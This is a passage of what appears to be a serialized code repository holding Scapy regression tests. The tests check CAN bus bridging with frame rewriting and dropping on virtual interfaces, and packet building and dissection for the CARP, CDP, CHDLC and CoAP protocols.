channel='vcan1')\n    def pnr(pkt):\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=10)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x30, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.5, count=4)\npacketsVCan1 = sock1.sniff(timeout=0.5, count=6)\nassert len(packetsVCan0) == 4\nassert len(packetsVCan1) == 6\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan1 package change\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0')\nsock1 = CANSocket(bustype='socketcan', channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])\n\nbridgeStarted = threading.Event()\ndef bridgeWithPackageChangeVCan0ToVCan1():\n    global bridgeStarted\n    bSock0 = CANSocket(bustype='socketcan', channel='vcan0')\n    bSock1 = CANSocket(bustype='socketcan', channel='vcan1')\n    def pnr(pkt):\n        pkt.data = b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n        pkt.identifier = 0x10010000\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithPackageChangeVCan0ToVCan1)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\npacketsVCan1 = sock1.sniff(timeout=0.5, count=6)\nassert len(packetsVCan1) == 6\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan0 package change\n\nsock1 = CANSocket(bustype='socketcan', channel='vcan1')\nsock0 = CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])\n\nbridgeStarted = threading.Event()\ndef bridgeWithPackageChangeVCan1ToVCan0():\n    global bridgeStarted\n    bSock0 = CANSocket(bustype='socketcan', channel='vcan0')\n    bSock1 = CANSocket(bustype='socketcan', channel='vcan1')\n    def pnr(pkt):\n        pkt.data = b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n        pkt.identifier = 0x10010000\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=4)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithPackageChangeVCan1ToVCan0)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.5, count=4)\nassert len(packetsVCan0) == 4\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan0 and vcan1 package change in both directions\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])\nsock1 = CANSocket(bustype='socketcan', channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])\n\nbridgeStarted = threading.Event()\ndef bridgeWithPackageChangeBothDirections():\n    global bridgeStarted\n    bSock0 = CANSocket(bustype='socketcan', channel='vcan0')\n    bSock1 = CANSocket(bustype='socketcan', channel='vcan1')\n    def pnr(pkt):\n        pkt.data = b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n        pkt.identifier = 0x10010000\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=10)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithPackageChangeBothDirections)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.5, count=4)\npacketsVCan1 = sock1.sniff(timeout=0.5, count=6)\nassert len(packetsVCan0) == 4\nassert len(packetsVCan1) == 6\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan0 package remove\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0')\nsock1 = CANSocket(bustype='socketcan', channel='vcan1')\n\nbridgeStarted = threading.Event()\ndef bridgeWithRemovePackageFromVCan0ToVCan1():\n    global bridgeStarted\n    bSock0 = CANSocket(bustype='socketcan', channel='vcan0')\n    bSock1 = CANSocket(bustype='socketcan', channel='vcan1')\n    def pnr(pkt):\n        if(pkt.identifier == 0x10020000):\n            pkt = False\n        else:\n            pkt = pkt\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan0ToVCan1)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\npacketsVCan1 = sock1.sniff(timeout=0.5, count=5)\n\nassert len(packetsVCan1) == 5\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan1 package remove\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0')\nsock1 = CANSocket(bustype='socketcan', channel='vcan1')\n\nbridgeStarted = threading.Event()\ndef bridgeWithRemovePackageFromVCan1ToVCan0():\n    global bridgeStarted\n    bSock0 = CANSocket(bustype='socketcan', channel='vcan0')\n    bSock1 = CANSocket(bustype='socketcan', channel='vcan1')\n    def pnr(pkt):\n        if(pkt.identifier == 0x10050000):\n            pkt = False\n        else:\n            pkt = pkt\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=4)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan1ToVCan0)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.5, count=3)\n\nassert len(packetsVCan0) == 3\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n\n=bridge and sniff setup vcan0 and vcan1 package remove both directions\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0')\nsock1 = CANSocket(bustype='socketcan', channel='vcan1')\n\nbridgeStarted = threading.Event()\ndef bridgeWithRemovePackageInBothDirections():\n    global bridgeStarted\n    bSock0 = CANSocket(bustype='socketcan', channel='vcan0')\n    bSock1 = CANSocket(bustype='socketcan', channel='vcan1')\n    def pnrA(pkt):\n        if(pkt.identifier == 0x10020000):\n            pkt = False\n        else:\n            pkt = pkt\n        return pkt\n    def pnrB(pkt):\n        if (pkt.identifier == 0x10050000):\n            pkt = False\n        else:\n            pkt = pkt\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnrA, xfrm21=pnrB, timeout=0.5, started_callback=bridgeStarted.set, count=10)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithRemovePackageInBothDirections)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.5, count=3)\npacketsVCan1 = sock1.sniff(timeout=0.5, count=5)\n\nassert len(packetsVCan0) == 3\nassert len(packetsVCan1) == 5\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\nsock0.close()\nsock1.close()\n\n= Delete vcan interfaces\n~ needs_root linux vcan_socket\n\nif 0 != call([\"sudo\", \"ip\" ,\"link\", \"delete\", \"vcan0\"]):\n        raise Exception(\"vcan0 could not be deleted\")\n\nif 0 != call([\"sudo\", \"ip\" ,\"link\", \"delete\", \"vcan1\"]):\n        raise Exception(\"vcan1 could not be deleted\")\n"
  },
  {
    "path": "test/contrib/carp.uts",
    "content": "% Regression tests for the avs module\n\n+ Basic CARP test\n\n= Build\n\npkt = Ether()/IP()/CARP()\npkt = Ether(raw(pkt))\nassert CARP in pkt\nassert pkt[CARP].chksum\nassert pkt[CARP].build_hmac_sha1(ip4l=['192.168.0.111']) == b'\\xbd\\x82\\xc7\\x8f6\\x1a\\x0e\\xff\\xcfl\\x14\\xa2v\\xedW;>ic\\xa3'\n"
  },
  {
    "path": "test/contrib/cdp.uts",
    "content": "#################################### cdp.py ##################################\n% Regression tests for the cdp module\n\n\n################################## CDPv2_HDR ##################################\n+ CDP\n\n= CDPv2 - Dissection (1)\ns = b'\\x02\\xb4\\x8c\\xfa\\x00\\x01\\x00\\x0cmyswitch\\x00\\x02\\x00\\x11\\x00\\x00\\x00\\x01\\x01\\x01\\xcc\\x00\\x04\\xc0\\xa8\\x00\\xfd\\x00\\x03\\x00\\x13FastEthernet0/1\\x00\\x04\\x00\\x08\\x00\\x00\\x00(\\x00\\x05\\x01\\x14Cisco Internetwork Operating System Software \\nIOS (tm) C2950 Software (C2950-I6K2L2Q4-M), Version 12.1(22)EA14, RELEASE SOFTWARE (fc1)\\nTechnical Support: http://www.cisco.com/techsupport\\nCopyright (c) 1986-2010 by cisco Systems, Inc.\\nCompiled Tue 26-Oct-10 10:35 by nburra\\x00\\x06\\x00\\x15cisco WS-C2950-12\\x00\\x08\\x00$\\x00\\x00\\x0c\\x01\\x12\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x01\\x02!\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\xbe\\x18\\x9a@\\xff\\x00\\x00\\x00\\t\\x00\\x0cMYDOMAIN\\x00\\n\\x00\\x06\\x00\\x01\\x00\\x0b\\x00\\x05\\x01\\x00\\x0e\\x00\\x07\\x01\\x00\\n\\x00\\x12\\x00\\x05\\x00\\x00\\x13\\x00\\x05\\x00\\x00\\x16\\x00\\x11\\x00\\x00\\x00\\x01\\x01\\x01\\xcc\\x00\\x04\\xc0\\xa8\\x00\\xfd'\ncdpv2 = CDPv2_HDR(s)\nassert len(cdpv2) == 450\nassert cdpv2.vers == 2\nassert cdpv2.ttl == 180\nassert cdpv2.cksum == 0x8cfa\nassert cdpv2.haslayer(CDPMsgDeviceID)\nassert cdpv2.haslayer(CDPMsgAddr)\nassert cdpv2.haslayer(CDPAddrRecordIPv4)\nassert cdpv2.haslayer(CDPMsgPortID)\nassert cdpv2.haslayer(CDPMsgCapabilities)\nassert cdpv2.haslayer(CDPMsgSoftwareVersion)\nassert cdpv2.haslayer(CDPMsgPlatform)\nassert cdpv2.haslayer(CDPMsgProtoHello)\nassert cdpv2.haslayer(CDPMsgVTPMgmtDomain)\nassert cdpv2.haslayer(CDPMsgNativeVLAN)\nassert cdpv2.haslayer(CDPMsgDuplex)\nassert cdpv2.haslayer(CDPMsgVoIPVLANReply)\nassert cdpv2.haslayer(CDPMsgTrustBitmap)\nassert cdpv2.haslayer(CDPMsgUntrustedPortCoS)\nassert cdpv2.haslayer(CDPMsgMgmtAddr)\nassert cdpv2[CDPMsgProtoHello].len == 36\nassert cdpv2[CDPMsgProtoHello].oui == 0xc\nassert cdpv2[CDPMsgProtoHello].protocol_id == 0x112\nassert cdpv2[CDPMsgTrustBitmap].type == 0x0012\nassert cdpv2[CDPMsgTrustBitmap].len == 5\nassert cdpv2[CDPMsgTrustBitmap].trust_bitmap == 0x0\nassert cdpv2[CDPMsgUntrustedPortCoS].type == 0x0013\nassert cdpv2[CDPMsgUntrustedPortCoS].len == 5\nassert cdpv2[CDPMsgUntrustedPortCoS].untrusted_port_cos == 0x0\n\n= CDPv2 - Rebuild (1)\n\ncdpv2.cksum = None\nassert raw(cdpv2) == s\n\n= CDPv2 - Dissection (2)\ns = b'\\x02\\xb4\\xd7\\xdb\\x00\\x01\\x00\\x13SIP001122334455\\x00\\x02\\x00\\x11\\x00\\x00\\x00\\x01\\x01\\x01\\xcc\\x00\\x04\\xc0\\xa8\\x01!\\x00\\x03\\x00\\nPort 1\\x00\\x04\\x00\\x08\\x00\\x00\\x00\\x10\\x00\\x05\\x00\\x10P003-08-2-00\\x00\\x06\\x00\\x17Cisco IP Phone 7960\\x00\\x0f\\x00\\x08 \\x02\\x00\\x01\\x00\\x0b\\x00\\x05\\x01\\x00\\x10\\x00\\x06\\x18\\x9c'\ncdpv2 = CDPv2_HDR(s)\nassert cdpv2.vers == 2\nassert cdpv2.ttl == 180\nassert cdpv2.cksum == 0xd7db\nassert cdpv2.haslayer(CDPMsgDeviceID)\nassert cdpv2.haslayer(CDPMsgAddr)\nassert cdpv2.haslayer(CDPAddrRecordIPv4)\nassert cdpv2.haslayer(CDPMsgPortID)\nassert cdpv2.haslayer(CDPMsgCapabilities)\nassert cdpv2.haslayer(CDPMsgSoftwareVersion)\nassert cdpv2.haslayer(CDPMsgPlatform)\nassert cdpv2.haslayer(CDPMsgVoIPVLANQuery)\nassert cdpv2.haslayer(CDPMsgDuplex)\nassert cdpv2.haslayer(CDPMsgPower)\nassert cdpv2[CDPMsgVoIPVLANQuery].type == 0x000f\nassert cdpv2[CDPMsgVoIPVLANQuery].len == 8\nassert cdpv2[CDPMsgVoIPVLANQuery].unknown1 == 0x20\nassert cdpv2[CDPMsgVoIPVLANQuery].vlan == 512\n\nassert cdpv2[CDPMsgPower].sprintf(\"%power%\") == '6300 mW'\n\n= CDPv2 - Rebuild (2)\n\ncdpv2.cksum = None\ns2 = s[:2] + b\"\\xf3\\xf1\" + s[4:]\nassert raw(cdpv2) == s2\n\n= CDPv2 - Complex Packet\n\nr = b'\\x01\\x00\\x0c\\xcc\\xcc\\xcc\\x11\"3DUf\\x01\\x80\\xaa\\xaa\\x03\\x00\\x00\\x0c \\x00\\x02\\xb4uV\\x00\\x01\\x00\\nRouter\\x00\\x05\\x00\\x04\\x00\\x06\\x00\\x04\\x00\\x02\\x00\\x11\\x00\\x00\\x00\\x02\\x01\\x01\\xcc\\x00\\x04\\xc0\\xa8\\x01e\\x00\\x03\\x00\\x18GigabitEthernet0/0/1\\x00\\x04\\x00\\x08\\x00\\x00\\x00A\\x00\\x07\\x00\\t\\x14\\x00\\x00\\x00\\x18\\x00\\t\\x00\\x04\\x00\\x0b\\x00\\x05\\x01\\x00\\x16\\x00\\x11\\x00\\x00\\x00\\x01\\x01\\x01\\xcc\\x00\\x04\\xc0\\xa8\\x01e'\np = Dot3(r)\nassert CDPMsgPortID in p and CDPMsgIPPrefix in p\n\n= CDPChecksum - packet with odd length\n\npkt = CDPv2_HDR(vers=2, ttl=180, msg='123')\nassert len(pkt) == 7\n\n= CDPv2 - CDPMsgAddr Packet\ncdp_msg_addr = CDPMsgAddr(addr=[CDPAddrRecordIPv4(), CDPAddrRecordIPv6()])\nassert cdp_msg_addr.haslayer(CDPAddrRecordIPv4)\nassert cdp_msg_addr.haslayer(CDPAddrRecordIPv6)\nassert len(cdp_msg_addr.addr) == 2\n\nassert raw(cdp_msg_addr)[4:8] == b'\\x00\\x00\\x00\\x02'\n\n= CDPv2 - CDPMsgPowerRequest and CDPMsgPowerAvailable Packet\ns = b'\\x02\\xb4\\x39\\xfa\\x00\\x01\\x00\\x09\\x53\\x63\\x61\\x70\\x79\\x00\\x02\\x00\\x11\\x00\\x00\\x00\\x01\\x01\\x01\\xcc\\x00\\x04\\x7f\\x00\\x00\\x01\\x00\\x10\\x00\\x06\\x00\\x10\\x00\\x19\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x1a\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x07'\ncdpv2 = CDPv2_HDR(s)\nassert cdpv2.vers == 2\nassert cdpv2.ttl == 180\nassert cdpv2.cksum == 0x39fa\nassert cdpv2.haslayer(CDPMsgDeviceID)\nassert cdpv2.haslayer(CDPMsgAddr)\nassert cdpv2.haslayer(CDPMsgPower)\nassert cdpv2.haslayer(CDPMsgPowerRequest)\nassert cdpv2.haslayer(CDPMsgPowerAvailable)\nassert cdpv2[CDPMsgPowerRequest].type == 0x0019\nassert cdpv2[CDPMsgPowerRequest].len == 24\nassert cdpv2[CDPMsgPowerRequest].req_id == 0\nassert cdpv2[CDPMsgPowerRequest].mgmt_id == 0\nassert len(cdpv2[CDPMsgPowerRequest].power_requested_list) == 4\nassert cdpv2[CDPMsgPowerRequest].power_requested_list == [1, 2, 3, 4]\nassert cdpv2[CDPMsgPowerAvailable].type == 0x001a\nassert cdpv2[CDPMsgPowerAvailable].len == 20\nassert cdpv2[CDPMsgPowerAvailable].req_id == 0\nassert cdpv2[CDPMsgPowerAvailable].mgmt_id == 0\nassert len(cdpv2[CDPMsgPowerAvailable].power_available_list) == 3\nassert cdpv2[CDPMsgPowerAvailable].power_available_list == [5, 6, 7]\n"
  },
  {
    "path": "test/contrib/chdlc.uts",
    "content": "% Regression tests for the avs module\n\n+ Basic AVS test\n\n= Default build, storage and dissection\n\npkt = CHDLC()/SLARP()\n_filepath = get_temp_file(autoext=\".pcap\")\nwrpcap(_filepath, pkt)\npkt1 = rdpcap(_filepath)[0]\nassert raw(pkt) == raw(pkt1)\nassert CHDLC in pkt\nassert SLARP in pkt\n\ntry:\n    os.remove(_filepath)\nexcept Exception:\n    pass\n\n= Build request\n\npkt = CHDLC()/SLARP(type=0, address=\"192.168.0.131\", mask=\"255.255.0.0\")\npkt = CHDLC(raw(pkt))\nassert pkt[SLARP].address == \"192.168.0.131\"\n\n= Build keepalive\n\npkt = CHDLC()/SLARP(type=2, mysequence=123, yoursequence=123456789, reliability=555)\npkt = CHDLC(raw(pkt))\nassert pkt[SLARP].yoursequence == 123456789\n"
  },
  {
    "path": "test/contrib/coap.uts",
    "content": "% CoAP layer test campaign\n\n+ Syntax check\n= Import the CoAP layer\nfrom scapy.contrib.coap import *\n\n+ Test CoAP\n= CoAP default values\nassert raw(CoAP()) == b'\\x40\\x00\\x00\\x00'\n\n= Token length calculation\np = CoAP(token='foobar')\nassert CoAP(raw(p)).tkl == 6\n\n= CON GET dissect\np = CoAP(b'\\x40\\x01\\xd9\\xe1\\xbb\\x2e\\x77\\x65\\x6c\\x6c\\x2d\\x6b\\x6e\\x6f\\x77\\x6e\\x04\\x63\\x6f\\x72\\x65')\nassert p.code == 1\nassert p.ver == 1\nassert p.tkl == 0\nassert p.tkl == 0\nassert p.msg_id == 55777\nassert p.token == b''\nassert p.type == 0\nassert p.options == [('Uri-Path', b'.well-known'), ('Uri-Path', b'core')]\n\n= Extended option delta\nassert raw(CoAP(options=[(\"Uri-Query\", \"query\")])) == b'\\x40\\x00\\x00\\x00\\xd5\\x02\\x71\\x75\\x65\\x72\\x79'\n\n= Extended option length\nassert raw(CoAP(options=[(\"Location-Path\", 'x' * 280)])) == b'\\x40\\x00\\x00\\x00\\x8e\\x00\\x0b' + b'\\x78' * 280\nassert len(CoAP(b'\\x40\\x00\\x00\\x00\\x8e\\x00\\x0b' + b'\\x78' * 280 + b'\\xff').options[0][1]) == 280\n\n= Options should be ordered by option number\nassert raw(CoAP(options=[(\"Uri-Query\", \"b\"),(\"Uri-Path\",\"a\")])) == b'\\x40\\x00\\x00\\x00\\xb1\\x61\\x41\\x62'\n\n= Options of the same type should not be reordered\nassert raw(CoAP(options=[(\"Uri-Path\", \"b\"),(\"Uri-Path\",\"a\")])) == b'\\x40\\x00\\x00\\x00\\xb1\\x62\\x01\\x61'\n\n+ Test layer binding\n= Destination port\np = UDP()/CoAP()\nassert p[UDP].dport == 5683\n\n= Source port\ns = b'\\x16\\x33\\xa0\\xa4\\x00\\x78\\xfe\\x8b\\x60\\x45\\xd9\\xe1\\xc1\\x28\\xff\\x3c\\x2f\\x3e\\x3b\\x74\\x69\\x74\\x6c\\x65\\x3d\\x22\\x47\\x65' \\\n    b'\\x6e\\x65\\x72\\x61\\x6c\\x20\\x49\\x6e\\x66\\x6f\\x22\\x3b\\x63\\x74\\x3d\\x30\\x2c\\x3c\\x2f\\x74\\x69\\x6d\\x65\\x3e\\x3b\\x69\\x66\\x3d' \\\n    b'\\x22\\x63\\x6c\\x6f\\x63\\x6b\\x22\\x3b\\x72\\x74\\x3d\\x22\\x54\\x69\\x63\\x6b\\x73\\x22\\x3b\\x74\\x69\\x74\\x6c\\x65\\x3d\\x22\\x49\\x6e' \\\n    b'\\x74\\x65\\x72\\x6e\\x61\\x6c\\x20\\x43\\x6c\\x6f\\x63\\x6b\\x22\\x3b\\x63\\x74\\x3d\\x30\\x3b\\x6f\\x62\\x73\\x2c\\x3c\\x2f\\x61\\x73\\x79' \\\n    b'\\x6e\\x63\\x3e\\x3b\\x63\\x74\\x3d\\x30'\nassert CoAP in UDP(s)\n\n= building with a text/plain payload\np = CoAP(ver = 1, type = 0, code = 0x42, msg_id = 0xface, options=[(\"Content-Format\", b\"\\x00\")], paymark = b\"\\xff\")\np /= Raw(b\"\\xde\\xad\\xbe\\xef\")\nassert raw(p) == b'\\x40\\x42\\xfa\\xce\\xc1\\x00\\xff\\xde\\xad\\xbe\\xef'\n\n= dissection with a text/plain payload\np = CoAP(raw(p))\nassert p.ver == 1\nassert p.type == 0\nassert p.code == 0x42\nassert p.msg_id == 0xface\nassert isinstance(p.payload, Raw)\nassert p.payload.load == b'\\xde\\xad\\xbe\\xef'\n"
  },
  {
    "path": "test/contrib/concox.uts",
